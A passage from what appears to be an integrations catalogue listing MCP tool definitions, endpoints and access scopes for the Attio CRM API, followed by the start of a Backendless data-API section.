/v2/{target}/{identifier}/attributes/{attribute}/options GET /api/v1/attio/v2/{target}/{identifier}/attributes/{attribute}/options. Scopes: list_configuration:read, object_configuration:read. attio_get_v2_by_target_by_identifier_attributes_by_attribute_statuses (read) — List statuses. Lists all statuses for a particular status attribute on either an object or a list. When `target` is `objects`, the required scopes are `object_configuration:read`. GET /v2/{target}/{identifier}/attributes/{attribute}/statuses GET /api/v1/attio/v2/{target}/{identifier}/attributes/{attribute}/statuses. Scopes: list_configuration:read, object_configuration:read. attio_get_v2_comments_by_comment_id (read) — Get a comment. Get a single comment by ID. To view comments on records, you will need the `object_configuration:read` and `record_permission:read` scopes. GET /v2/comments/{comment_id} GET /api/v1/attio/v2/comments/{comment_id}. Scopes: comment:read. attio_get_v2_emails (read) — List emails. Lists email metadata from your workspace's connected mailboxes. Email content is never returned. GET /v2/emails GET /api/v1/attio/v2/emails. Scopes: email:read, object_configuration:read, record_permission:read. attio_get_v2_files (read) — List files. Lists internal files, externally connected files and folders for a specific record. Use the `object` and `record_id` query parameters to specify the record. GET /v2/files GET /api/v1/attio/v2/files. Scopes: file:read, object_configuration:read, record_permission:read. attio_get_v2_files_by_file_id (read) — Get a file. Get a single file entry by ID. This endpoint is in beta. We will aim to avoid breaking changes, but small updates may be made as we roll out to more users. GET /v2/files/{file_id} GET /api/v1/attio/v2/files/{file_id}. Scopes: file:read, object_configuration:read, record_permission:read. attio_get_v2_files_by_file_id_download (read) — Download a file. Downloads a file by redirecting to a signed URL. This endpoint is in beta. We will aim to avoid breaking changes, but small updates may be made as we roll out to more users. GET /v2/files/{file_id}/download GET /api/v1/attio/v2/files/{file_id}/download. Scopes: file:read, object_configuration:read, record_permission:read. attio_get_v2_lists (read) — List all lists. List all lists that your access token has access to. lists are returned in the order that they are sorted in the sidebar. GET /v2/lists GET /api/v1/attio/v2/lists. Scopes: list_configuration:read. attio_get_v2_lists_by_list (read) — Get a list. Gets a single list in your workspace that your access token has access to. GET /v2/lists/{list} GET /api/v1/attio/v2/lists/{list}. Scopes: list_configuration:read. attio_get_v2_lists_by_list_entries_by_entry_id (read) — Get a list entry. Gets a single list entry by its `entry_id`. GET /v2/lists/{list}/entries/{entry_id} GET /api/v1/attio/v2/lists/{list}/entries/{entry_id}. Scopes: list_configuration:read, list_entry:read. attio_get_v2_lists_by_list_entries_by_entry_id_attributes_by_attribute_values (read) — List attribute values for a list entry. Gets all values for a given attribute on a list entry. This endpoint has the ability to return all historic values using the `show_historic` query param. GET /v2/lists/{list}/entries/{entry_id}/attributes/{attribute}/values GET /api/v1/attio/v2/lists/{list}/entries/{entry_id}/attributes/{attribute}/values. Scopes: list_configuration:read, list_entry:read. attio_get_v2_lists_by_list_views (read) — List views for list. Lists saved views for a list. Results are ordered by view ID (`id.view_id` ascending). GET /v2/lists/{list}/views GET /api/v1/attio/v2/lists/{list}/views. Scopes: list_configuration:read. attio_get_v2_meetings (read) — List meetings. Lists all meetings in the workspace using a deterministic sort order. GET /v2/meetings GET /api/v1/attio/v2/meetings. Scopes: meeting:read, record_permission:read. attio_get_v2_meetings_by_meeting_id (read) — Get a meeting. Get a single meeting by ID. This endpoint is in beta. We will aim to avoid breaking changes, but small updates may be made as we roll out to more users. GET /v2/meetings/{meeting_id} GET /api/v1/attio/v2/meetings/{meeting_id}. Scopes: meeting:read, record_permission:read. attio_get_v2_meetings_by_meeting_id_call_recordings (read) — List call recordings. List all call recordings for a meeting. This endpoint is in beta. We will aim to avoid breaking changes, but small updates may be made as we roll out to more users. GET /v2/meetings/{meeting_id}/call_recordings GET /api/v1/attio/v2/meetings/{meeting_id}/call_recordings. Scopes: call_recording:read, meeting:read. attio_get_v2_meetings_by_meeting_id_call_recordings_by_call_recording_id (read) — Get call recording. Get a single call recording by ID. This endpoint is in beta. We will aim to avoid breaking changes, but small updates may be made as we roll out to more users. GET /v2/meetings/{meeting_id}/call_recordings/{call_recording_id} GET /api/v1/attio/v2/meetings/{meeting_id}/call_recordings/{call_recording_id}. Scopes: call_recording:read, meeting:read. attio_get_v2_meetings_by_meeting_id_call_recordings_by_call_recording_id_transcript (read) — Deprecated: Get call transcript. Deprecated: prefer using `GET /v2/meetings/:meeting_id/call_recordings/:call_recording_id` to get the transcript for a call recording. This endpoint is in beta. GET /v2/meetings/{meeting_id}/call_recordings/{call_recording_id}/transcript GET /api/v1/attio/v2/meetings/{meeting_id}/call_recordings/{call_recording_id}/transcript. Scopes: call_recording:read, meeting:read. attio_get_v2_notes (read) — List notes. List notes for all records or for a specific record. This endpoint is temporarily rate limited to 10 requests per second. GET /v2/notes GET /api/v1/attio/v2/notes. Scopes: note:read, object_configuration:read, record_permission:read. attio_get_v2_notes_by_note_id (read) — Get a note. Get a single note by ID. GET /v2/notes/{note_id} GET /api/v1/attio/v2/notes/{note_id}. Scopes: note:read, object_configuration:read, record_permission:read. attio_get_v2_objects (read) — List objects. Lists all system-defined and user-defined objects in your workspace. GET /v2/objects GET /api/v1/attio/v2/objects. Scopes: object_configuration:read. attio_get_v2_objects_by_object (read) — Get an object. Gets a single object by its `object_id` or slug. GET /v2/objects/{object} GET /api/v1/attio/v2/objects/{object}. Scopes: object_configuration:read. attio_get_v2_objects_by_object_records_by_record_id (read) — Get a record. Gets a single person, company or other record by its `record_id`. GET /v2/objects/{object}/records/{record_id} GET /api/v1/attio/v2/objects/{object}/records/{record_id}. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_by_object_records_by_record_id_attributes_by_attribute_values (read) — List record attribute values. Gets all values for a given attribute on a record. Historic values can be queried using the `show_historic` query param. GET /v2/objects/{object}/records/{record_id}/attributes/{attribute}/values GET /api/v1/attio/v2/objects/{object}/records/{record_id}/attributes/{attribute}/values. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_by_object_records_by_record_id_entries (read) — List record entries. List all entries, across all lists, for which this record is the parent. GET /v2/objects/{object}/records/{record_id}/entries GET /api/v1/attio/v2/objects/{object}/records/{record_id}/entries. Scopes: list_entry:read, object_configuration:read, record_permission:read. attio_get_v2_objects_by_object_views (read) — List views for object. Lists saved views for an object. Results are ordered by view ID (`id.view_id` ascending). GET /v2/objects/{object}/views GET /api/v1/attio/v2/objects/{object}/views. Scopes: object_configuration:read. attio_get_v2_objects_companies_records_by_record_id (read) — Get a company record. Gets a single company record by its `record_id`. GET /v2/objects/companies/records/{record_id} GET /api/v1/attio/v2/objects/companies/records/{record_id}. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_companies_records_by_record_id_attributes_by_attribute_values (read) — List company record attribute values. Gets all values for a given attribute on a company record. Historic values can be queried using the `show_historic` query param. GET /v2/objects/companies/records/{record_id}/attributes/{attribute}/values GET /api/v1/attio/v2/objects/companies/records/{record_id}/attributes/{attribute}/values. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_companies_records_by_record_id_entries (read) — List company record entries. List all entries, across all lists, for which this company record is the parent. GET /v2/objects/companies/records/{record_id}/entries GET /api/v1/attio/v2/objects/companies/records/{record_id}/entries. Scopes: list_entry:read, object_configuration:read, record_permission:read. attio_get_v2_objects_deals_records_by_record_id (read) — Get a deal record. Gets a single deal record by its `record_id`. GET /v2/objects/deals/records/{record_id} GET /api/v1/attio/v2/objects/deals/records/{record_id}. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_deals_records_by_record_id_attributes_by_attribute_values (read) — List deal record attribute values. Gets all values for a given attribute on a deal record. Historic values can be queried using the `show_historic` query param. GET /v2/objects/deals/records/{record_id}/attributes/{attribute}/values GET /api/v1/attio/v2/objects/deals/records/{record_id}/attributes/{attribute}/values. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_deals_records_by_record_id_entries (read) — List deal record entries. List all entries, across all lists, for which this deal record is the parent. GET /v2/objects/deals/records/{record_id}/entries GET /api/v1/attio/v2/objects/deals/records/{record_id}/entries. Scopes: list_entry:read, object_configuration:read, record_permission:read. attio_get_v2_objects_people_records_by_record_id (read) — Get a person Record. Gets a single person record by its `record_id`. GET /v2/objects/people/records/{record_id} GET /api/v1/attio/v2/objects/people/records/{record_id}. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_people_records_by_record_id_attributes_by_attribute_values (read) — List person record attribute values. Gets all values for a given attribute on a person record. Historic values can be queried using the `show_historic` query param. GET /v2/objects/people/records/{record_id}/attributes/{attribute}/values GET /api/v1/attio/v2/objects/people/records/{record_id}/attributes/{attribute}/values. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_people_records_by_record_id_entries (read) — List person record entries. List all entries, across all lists, for which this person record is the parent. GET /v2/objects/people/records/{record_id}/entries GET /api/v1/attio/v2/objects/people/records/{record_id}/entries. Scopes: list_entry:read, object_configuration:read, record_permission:read. attio_get_v2_objects_users_records_by_record_id (read) — Get a user record. Gets a single user record by its `record_id`. GET /v2/objects/users/records/{record_id} GET /api/v1/attio/v2/objects/users/records/{record_id}. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_users_records_by_record_id_attributes_by_attribute_values (read) — List user record attribute values. Gets all values for a given attribute on a user record. Historic values can be queried using the `show_historic` query param. GET /v2/objects/users/records/{record_id}/attributes/{attribute}/values GET /api/v1/attio/v2/objects/users/records/{record_id}/attributes/{attribute}/values. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_users_records_by_record_id_entries (read) — List user record entries. List all entries, across all lists, for which this user record is the parent. GET /v2/objects/users/records/{record_id}/entries GET /api/v1/attio/v2/objects/users/records/{record_id}/entries. Scopes: list_entry:read, object_configuration:read, record_permission:read. attio_get_v2_objects_workspaces_records_by_record_id (read) — Get a workspace record. Gets a single workspace record by its `record_id`. GET /v2/objects/workspaces/records/{record_id} GET /api/v1/attio/v2/objects/workspaces/records/{record_id}. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_workspaces_records_by_record_id_attributes_by_attribute_values (read) — List workspace record attribute values. Gets all values for a given attribute on a workspace record. Historic values can be queried using the `show_historic` query param. GET /v2/objects/workspaces/records/{record_id}/attributes/{attribute}/values GET /api/v1/attio/v2/objects/workspaces/records/{record_id}/attributes/{attribute}/values. Scopes: object_configuration:read, record_permission:read. attio_get_v2_objects_workspaces_records_by_record_id_entries (read) — List workspace record entries. List all entries, across all lists, for which this workspace record is the parent. GET /v2/objects/workspaces/records/{record_id}/entries GET /api/v1/attio/v2/objects/workspaces/records/{record_id}/entries. Scopes: list_entry:read, object_configuration:read, record_permission:read. attio_get_v2_self (read) — Identify. Identify the current access token, the workspace it is linked to, and any permissions it has. GET /v2/self GET /api/v1/attio/v2/self. Scopes: none. attio_get_v2_tasks (read) — List tasks. List all tasks. Results are sorted by creation date, from oldest to newest. GET /v2/tasks GET /api/v1/attio/v2/tasks. Scopes: object_configuration:read, record_permission:read, task:read, user_management:read. attio_get_v2_tasks_by_task_id (read) — Get a task. Get a single task by ID. GET /v2/tasks/{task_id} GET /api/v1/attio/v2/tasks/{task_id}. Scopes: object_configuration:read, record_permission:read, task:read, user_management:read. attio_get_v2_threads (read) — List threads. List threads of comments on a record or list entry. Each thread in the response includes at most `80` replies, starting with the oldest. GET /v2/threads GET /api/v1/attio/v2/threads. Scopes: comment:read. attio_get_v2_threads_by_thread_id (read) — Get a thread and its comments. Get a thread and page through its comments, oldest first, starting with the comment that opened it. Comments are paginated: at most `250` are returned per request. GET /v2/threads/{thread_id} GET /api/v1/attio/v2/threads/{thread_id}. Scopes: comment:read. attio_get_v2_webhooks (read) — List webhooks. Get all of the webhooks in your workspace. GET /v2/webhooks GET /api/v1/attio/v2/webhooks. Scopes: webhook:read. attio_get_v2_webhooks_by_webhook_id (read) — Get a webhook. Get a single webhook. GET /v2/webhooks/{webhook_id} GET /api/v1/attio/v2/webhooks/{webhook_id}. Scopes: webhook:read. attio_get_v2_workspace_members (read) — List workspace members. Lists all workspace members in the workspace. GET /v2/workspace_members GET /api/v1/attio/v2/workspace_members. Scopes: user_management:read. attio_get_v2_workspace_members_by_workspace_member_id (read) — Get a workspace member. Gets a single workspace member by ID. GET /v2/workspace_members/{workspace_member_id} GET /api/v1/attio/v2/workspace_members/{workspace_member_id}. Scopes: user_management:read. attio_patch_v2_activities_by_activity (write) — Update an activity. Updates a single activity by its `activity_id` or slug. The schema an activity extends is fixed after creation, so `extends` cannot be changed. PATCH /v2/activities/{activity} PATCH /api/v1/attio/v2/activities/{activity}. Scopes: activity_configuration:read-write. attio_patch_v2_activities_by_activity_records_by_record_id (write) — Update an activity record (append multiselect values). Use this endpoint to update activity records by `record_id`. PATCH /v2/activities/{activity}/records/{record_id} PATCH /api/v1/attio/v2/activities/{activity}/records/{record_id}. Scopes: activity_configuration:read, activity_record:read-write. attio_patch_v2_by_target_by_identifier_attributes_by_attribute (write) — Update an attribute. Updates a single attribute on a given object or list. When `target` is `objects`, the required scopes are `object_configuration:read-write`. PATCH /v2/{target}/{identifier}/attributes/{attribute} PATCH /api/v1/attio/v2/{target}/{identifier}/attributes/{attribute}. Scopes: list_configuration:read-write, object_configuration:read-write. attio_patch_v2_by_target_by_identifier_attributes_by_attribute_options_by_option (write) — Update a select option. Updates a select option on an attribute on either an object or a list. When `target` is `objects`, the required scopes are `object_configuration:read-write`. PATCH /v2/{target}/{identifier}/attributes/{attribute}/options/{option} PATCH /api/v1/attio/v2/{target}/{identifier}/attributes/{attribute}/options/{option}. Scopes: list_configuration:read-write, object_configuration:read-write. attio_patch_v2_by_target_by_identifier_attributes_by_attribute_statuses_by_status (write) — Update a status. Update a status on an status attribute on either an object or a list. When `target` is `objects`, the required scopes are `object_configuration:read-write`. PATCH /v2/{target}/{identifier}/attributes/{attribute}/statuses/{status} PATCH /api/v1/attio/v2/{target}/{identifier}/attributes/{attribute}/statuses/{status}. Scopes: list_configuration:read-write, object_configuration:read-write. attio_patch_v2_lists_by_list (write) — Update a list. Updates an existing list. Permissions for the list are controlled with the `workspace_access` and `workspace_member_access` parameters. PATCH /v2/lists/{list} PATCH /api/v1/attio/v2/lists/{list}. Scopes: list_configuration:read-write. attio_patch_v2_lists_by_list_entries_by_entry_id (write) — Update a list entry (append multiselect values). Use this endpoint to update list entries by `entry_id`. PATCH /v2/lists/{list}/entries/{entry_id} PATCH /api/v1/attio/v2/lists/{list}/entries/{entry_id}. Scopes: list_configuration:read, list_entry:read-write. attio_patch_v2_notes_by_note_id (write) — Update a note. Updates an existing note's title and/or content. Only the fields you provide are changed, and any field you omit is left untouched. PATCH /v2/notes/{note_id} PATCH /api/v1/attio/v2/notes/{note_id}. Scopes: note:read-write, object_configuration:read, record_permission:read. attio_patch_v2_objects_by_object (write) — Update an object. Updates a single object. The object to be updated is identified by its `object_id`. PATCH /v2/objects/{object} PATCH /api/v1/attio/v2/objects/{object}. Scopes: object_configuration:read-write. attio_patch_v2_objects_by_object_records_by_record_id (write) — Update a record (append multiselect values). Use this endpoint to update people, companies, and other records by `record_id`. PATCH /v2/objects/{object}/records/{record_id} PATCH /api/v1/attio/v2/objects/{object}/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_patch_v2_objects_companies_records_by_record_id (write) — Update a company record. Use this endpoint to update company records by `record_id`. PATCH /v2/objects/companies/records/{record_id} PATCH /api/v1/attio/v2/objects/companies/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_patch_v2_objects_deals_records_by_record_id (write) — Update a deal record. Use this endpoint to update deal records by `record_id`. PATCH /v2/objects/deals/records/{record_id} PATCH /api/v1/attio/v2/objects/deals/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_patch_v2_objects_people_records_by_record_id (write) — Update a person Record. Use this endpoint to update person records by `record_id`. PATCH /v2/objects/people/records/{record_id} PATCH /api/v1/attio/v2/objects/people/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_patch_v2_objects_users_records_by_record_id (write) — Update a user Record. Use this endpoint to update user records by `record_id`. PATCH /v2/objects/users/records/{record_id} PATCH /api/v1/attio/v2/objects/users/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_patch_v2_objects_workspaces_records_by_record_id (write) — Update a workspace Record. Use this endpoint to update workspace records by `record_id`. PATCH /v2/objects/workspaces/records/{record_id} PATCH /api/v1/attio/v2/objects/workspaces/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_patch_v2_tasks_by_task_id (write) — Update a task. Updates an existing task by `task_id`. At present, only the `deadline_at`, `is_completed`, `linked_records`, and `assignees` fields can be updated. PATCH /v2/tasks/{task_id} PATCH /api/v1/attio/v2/tasks/{task_id}. Scopes: object_configuration:read, record_permission:read, task:read-write, user_management:read. attio_patch_v2_webhooks_by_webhook_id (write) — Update a webhook. Update a webhook and associated subscriptions. Each combination of target URL, event type and filter must be unique within your workspace; duplicates are rejected with a 409. PATCH /v2/webhooks/{webhook_id} PATCH /api/v1/attio/v2/webhooks/{webhook_id}. Scopes: webhook:read-write. attio_post_v2_activities (write) — Create an activity. Creates a new custom activity in your workspace. This endpoint is in alpha and may be subject to breaking changes as we gather feedback. POST /v2/activities POST /api/v1/attio/v2/activities. Scopes: activity_configuration:read-write. attio_post_v2_activities_by_activity_records (write) — Create an activity record. Creates a new activity record, for example one specific phone call. This endpoint is in alpha and may be subject to breaking changes as we gather feedback. POST /v2/activities/{activity}/records POST /api/v1/attio/v2/activities/{activity}/records. Scopes: activity_configuration:read, activity_record:read-write. attio_post_v2_activities_by_activity_records_query (write) — List activity records. Lists activity records, with the option to filter and sort results. This endpoint is in alpha and may be subject to breaking changes as we gather feedback. POST /v2/activities/{activity}/records/query POST /api/v1/attio/v2/activities/{activity}/records/query. Scopes: activity_configuration:read, activity_record:read. attio_post_v2_by_target_by_identifier_attributes (write) — Create an attribute. Creates a new attribute on either an object or a list. POST /v2/{target}/{identifier}/attributes POST /api/v1/attio/v2/{target}/{identifier}/attributes. Scopes: list_configuration:read-write, object_configuration:read-write. attio_post_v2_by_target_by_identifier_attributes_by_attribute_options (write) — Create a select option. Adds a select option to a select attribute on an object or a list. When `target` is `objects`, the required scopes are `object_configuration:read-write`. POST /v2/{target}/{identifier}/attributes/{attribute}/options POST /api/v1/attio/v2/{target}/{identifier}/attributes/{attribute}/options. Scopes: list_configuration:read-write, object_configuration:read-write. attio_post_v2_by_target_by_identifier_attributes_by_attribute_statuses (write) — Create a status. Add a new status to a status attribute on either an object or a list. When `target` is `objects`, the required scopes are `object_configuration:read-write`. POST /v2/{target}/{identifier}/attributes/{attribute}/statuses POST /api/v1/attio/v2/{target}/{identifier}/attributes/{attribute}/statuses. Scopes: list_configuration:read-write, object_configuration:read-write. attio_post_v2_comments (write) — Create a comment. Creates a new comment related to an existing thread, record or entry. POST /v2/comments POST /api/v1/attio/v2/comments. Scopes: comment:read-write. attio_post_v2_files (write) — Create a folder. Creates a native folder entry or a connected file/folder entry on an object record. This endpoint is in beta. POST /v2/files POST /api/v1/attio/v2/files. Scopes: file:read-write, object_configuration:read, record_permission:read. attio_post_v2_lists (write) — Create a list. Creates a new list. POST /v2/lists POST /api/v1/attio/v2/lists. Scopes: list_configuration:read-write. attio_post_v2_lists_by_list_entries (write) — Create an entry (add record to list). Adds a record to a list as a new list entry. This endpoint will throw on conflicts of unique attributes. POST /v2/lists/{list}/entries POST /api/v1/attio/v2/lists/{list}/entries. Scopes: list_configuration:read, list_entry:read-write. attio_post_v2_lists_by_list_entries_query (write) — List entries. Lists entries in a given list, with the option to filter and sort results. POST /v2/lists/{list}/entries/query POST /api/v1/attio/v2/lists/{list}/entries/query. Scopes: list_configuration:read, list_entry:read. attio_post_v2_meetings (write) — Create a meeting. Creates a new meeting. [See here](/rest-api/guides/syncing-meetings) for guidance on avoiding duplicate meetings. This endpoint is in beta. POST /v2/meetings POST /api/v1/attio/v2/meetings. Scopes: meeting:read-write, record_permission:read. attio_post_v2_meetings_by_meeting_id_call_recordings (write) — Create call recording. Create a call recording for a meeting. This endpoint is rate limited to 1 request per second. POST /v2/meetings/{meeting_id}/call_recordings POST /api/v1/attio/v2/meetings/{meeting_id}/call_recordings. Scopes: call_recording:read-write, meeting:read. attio_post_v2_notes (write) — Create a note. Creates a new note for a given record. POST /v2/notes POST /api/v1/attio/v2/notes. Scopes: note:read-write, object_configuration:read, record_permission:read. attio_post_v2_objects (write) — Create an object. Creates a new custom object in your workspace. POST /v2/objects POST /api/v1/attio/v2/objects. Scopes: object_configuration:read-write. attio_post_v2_objects_by_object_records (write) — Create a record. Creates a new person, company or other record. This endpoint will throw on conflicts of unique attributes. POST /v2/objects/{object}/records POST /api/v1/attio/v2/objects/{object}/records. Scopes: object_configuration:read, record_permission:read-write. attio_post_v2_objects_by_object_records_merge (write) — Merge two records. Merges two records of the same object together. Where both records have a value for the same attribute, the primary record's value takes precedence. POST /v2/objects/{object}/records/merge POST /api/v1/attio/v2/objects/{object}/records/merge. Scopes: object_configuration:read, record_permission:read-write. attio_post_v2_objects_by_object_records_query (write) — List records. Lists people, company or other records, with the option to filter and sort results. POST /v2/objects/{object}/records/query POST /api/v1/attio/v2/objects/{object}/records/query. Scopes: object_configuration:read, record_permission:read. attio_post_v2_objects_companies_records (write) — Create a company record. Creates a new company record. This endpoint will throw on conflicts of unique attributes, like `domains`. POST /v2/objects/companies/records POST /api/v1/attio/v2/objects/companies/records. Scopes: object_configuration:read, record_permission:read-write. attio_post_v2_objects_companies_records_query (write) — List company records. Lists company records, with the option to filter and sort results. POST /v2/objects/companies/records/query POST /api/v1/attio/v2/objects/companies/records/query. Scopes: object_configuration:read, record_permission:read. attio_post_v2_objects_deals_records (write) — Create a deal record. Creates a new deal record. This endpoint will throw on conflicts of unique attributes, if defined. POST /v2/objects/deals/records POST /api/v1/attio/v2/objects/deals/records. Scopes: object_configuration:read, record_permission:read-write. attio_post_v2_objects_deals_records_query (write) — List deal records. Lists deal records, with the option to filter and sort results. POST /v2/objects/deals/records/query POST /api/v1/attio/v2/objects/deals/records/query. Scopes: object_configuration:read, record_permission:read. attio_post_v2_objects_people_records (write) — Create a person Record. Creates a new person Record. This endpoint will throw on conflicts of unique attributes, like `email_addresses`. POST /v2/objects/people/records POST /api/v1/attio/v2/objects/people/records. Scopes: object_configuration:read, record_permission:read-write. attio_post_v2_objects_people_records_query (write) — List person records. Lists person records, with the option to filter and sort results. POST /v2/objects/people/records/query POST /api/v1/attio/v2/objects/people/records/query. Scopes: object_configuration:read, record_permission:read. attio_post_v2_objects_records_search (write) — Search records. The search records endpoint provides a convenient way to fuzzy search for records across one or more objects. POST /v2/objects/records/search POST /api/v1/attio/v2/objects/records/search. Scopes: object_configuration:read, record_permission:read. attio_post_v2_objects_users_records (write) — Create a user record. Creates a new user record. This endpoint will throw on conflicts of unique attributes, like `primary_email_address`. POST /v2/objects/users/records POST /api/v1/attio/v2/objects/users/records. Scopes: object_configuration:read, record_permission:read-write. attio_post_v2_objects_users_records_query (write) — List user records. Lists user records, with the option to filter and sort results. POST /v2/objects/users/records/query POST /api/v1/attio/v2/objects/users/records/query. Scopes: object_configuration:read, record_permission:read. attio_post_v2_objects_workspaces_records (write) — Create a workspace record. Creates a new workspace record. This endpoint will throw on conflicts of unique attributes, like `workspace_id`. POST /v2/objects/workspaces/records POST /api/v1/attio/v2/objects/workspaces/records. Scopes: object_configuration:read, record_permission:read-write. attio_post_v2_objects_workspaces_records_query (write) — List workspace records. Lists workspace records, with the option to filter and sort results. POST /v2/objects/workspaces/records/query POST /api/v1/attio/v2/objects/workspaces/records/query. Scopes: object_configuration:read, record_permission:read. attio_post_v2_sequences_unsubscribed_emails (write) — Add emails to the unsubscribe list. Adds email addresses to the workspace's sequence unsubscribe list. POST /v2/sequences/unsubscribed_emails POST /api/v1/attio/v2/sequences/unsubscribed_emails. Scopes: sequence_unsubscribe:read-write. attio_post_v2_sql (write) — Query SQL. Query records and lists with SQL. Your workspace must be on the Enterprise plan in order to access this endpoint. This endpoint is in beta. POST /v2/sql POST /api/v1/attio/v2/sql. Scopes: object_configuration:read, record_permission:read. attio_post_v2_tasks (write) — Create a task. Creates a new task. At present, tasks can only be created from plaintext without record reference formatting. POST /v2/tasks POST /api/v1/attio/v2/tasks. Scopes: object_configuration:read, record_permission:read, task:read-write, user_management:read. attio_post_v2_webhooks (write) — Create a webhook. Create a webhook and associated subscriptions. Each combination of target URL, event type and filter must be unique within your workspace; duplicates are rejected with a 409. POST /v2/webhooks POST /api/v1/attio/v2/webhooks. Scopes: webhook:read-write. attio_put_v2_activities_by_activity_records_by_record_id (write) — Update an activity record (overwrite multiselect values). Use this endpoint to update activity records by `record_id`. PUT /v2/activities/{activity}/records/{record_id} PUT /api/v1/attio/v2/activities/{activity}/records/{record_id}. Scopes: activity_configuration:read, activity_record:read-write. attio_put_v2_lists_by_list_entries (write) — Upsert a list entry by parent. Use this endpoint to create or update a list entry for a given parent record. If an entry with the specified parent record is found, that entry will be updated. PUT /v2/lists/{list}/entries PUT /api/v1/attio/v2/lists/{list}/entries. Scopes: list_configuration:read, list_entry:read-write. attio_put_v2_lists_by_list_entries_by_entry_id (write) — Update a list entry (overwrite multiselect values). Use this endpoint to update list entries by `entry_id`. PUT /v2/lists/{list}/entries/{entry_id} PUT /api/v1/attio/v2/lists/{list}/entries/{entry_id}. Scopes: list_configuration:read, list_entry:read-write. attio_put_v2_lists_by_list_entries_by_entry_id_attributes_by_attribute_values (write) — Write list entry attribute values. Replaces the entire value history of a single attribute on a list entry, primarily to migrate historic data from an external source. PUT /v2/lists/{list}/entries/{entry_id}/attributes/{attribute}/values PUT /api/v1/attio/v2/lists/{list}/entries/{entry_id}/attributes/{attribute}/values. Scopes: list_configuration:read, list_entry:read-write. attio_put_v2_objects_by_object_records (write) — Upsert a record. Use this endpoint to create or update people, companies and other records. A matching attribute is used to search for existing records. PUT /v2/objects/{object}/records PUT /api/v1/attio/v2/objects/{object}/records. Scopes: object_configuration:read, record_permission:read-write. attio_put_v2_objects_by_object_records_by_record_id (write) — Update a record (overwrite multiselect values). Use this endpoint to update people, companies, and other records by `record_id`. PUT /v2/objects/{object}/records/{record_id} PUT /api/v1/attio/v2/objects/{object}/records/{record_id}. Scopes: object_configuration:read, record_permission:read-write. attio_put_v2_objects_by_object_records_by_record_id_attributes_by_attribute_values (write) — Write record attribute values. Replaces the entire value history of a single attribute on a record, primarily to migrate historic data from an external source. PUT /v2/objects/{object}/records/{record_id}/attributes/{attribute}/values PUT /api/v1/attio/v2/objects/{object}/records/{record_id}/attributes/{attribute}/values. Scopes: object_configuration:read, record_permission:read-write. attio_put_v2_objects_companies_records (write) — Upsert a company record. Use this endpoint to create or update company records, using a unique attribute to search for existing companies (for example, the `domains` attribute). PUT /v2/objects/companies/records PUT /api/v1/attio/v2/objects/companies/records. Scopes: object_configuration:read, record_permission:read-write. attio_put_v2_objects_deals_records (write) — Upsert a deal record. Use this endpoint to create or update deal records, using a unique attribute to search for existing deals. PUT /v2/objects/deals/records PUT /api/v1/attio/v2/objects/deals/records. Scopes: object_configuration:read, record_permission:read-write. attio_put_v2_objects_people_records (write) — Upsert a person record. Use this endpoint to create or update person records, using a unique attribute to search for existing People (for example the `email_addresses` attribute). PUT /v2/objects/people/records PUT /api/v1/attio/v2/objects/people/records. Scopes: object_configuration:read, record_permission:read-write. attio_put_v2_objects_users_records (write) — Upsert a user record. Use this endpoint to create or update user records, using a unique attribute to search for existing users (for example the `primary_email_address` attribute). PUT /v2/objects/users/records PUT /api/v1/attio/v2/objects/users/records. Scopes: object_configuration:read, record_permission:read-write. attio_put_v2_objects_workspaces_records (write) — Upsert a workspace record. Use this endpoint to create or update workspace records, using a unique attribute to search for existing workspaces (for example the `workspace_id` attribute). PUT /v2/objects/workspaces/records PUT /api/v1/attio/v2/objects/workspaces/records. Scopes: object_configuration:read, record_permission:read-write. ================================================================================ ## Backendless URL: https://www.agenticfabriq.com/integrations/backendless Section: Integrated Tools Backendless — 11 MCP tools Provider key: backendless. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. backendless_delete_data_by_table_name_by_object_id (write, destructive) — Delete an object via DELETE /data/{table_name}/{object_id}. Permanently remove one object from a Data table by its objectId. The reply carries `deletionTime`, a timestamp in milliseconds. There is no undo: the object and its column values are gone, and any relation pointing at it is cleared. Runs as this Backendless application's RestUser role -- the role a REST API Key is auto-assigned -- not as any end user. Backendless also accepts an end-user `user-token` header here; Agentic Fabriq does not send one, because a session token in a tool argument is credential material. A 403 or an empty result here is a ROLE permission set in Backendless Console, not a bad key. DELETE /api/v1/backendless/data/{table_name}/{object_id}. Scopes: api. backendless_get_data_by_table_name (read) — Find objects in a table via GET /data/{table_name}. List objects from a Data table, one page at a time. `pageSize` is the number of objects to return (1-100, default 10) and `offset` is how many to skip, so a full sweep advances `offset` by `pageSize` until a short page comes back. Runs as this Backendless application's RestUser role -- the role a REST API Key is auto-assigned -- not as any end user. Backendless also accepts an end-user `user-token` header here; Agentic Fabriq does not send one, because a session token in a tool argument is credential material. A 403 or an empty result here is a ROLE permission set in Backendless Console, not a bad key. GET /api/v1/backendless/data/{table_name}. Scopes: api. backendless_get_data_by_table_name_by_parentobjectid_by_relationname (read) — Find an object's related objects via GET /data/{table_name}/{parentObjectId}/{relationName}. List the objects related to one parent object through a named relation column, one page at a time. `parentObjectId` is the parent's objectId and `relationName` is the relation column on the parent's table; `pageSize` and `offset` page through the related objects. Runs as this Backendless application's RestUser role -- the role a REST API Key is auto-assigned -- not as any 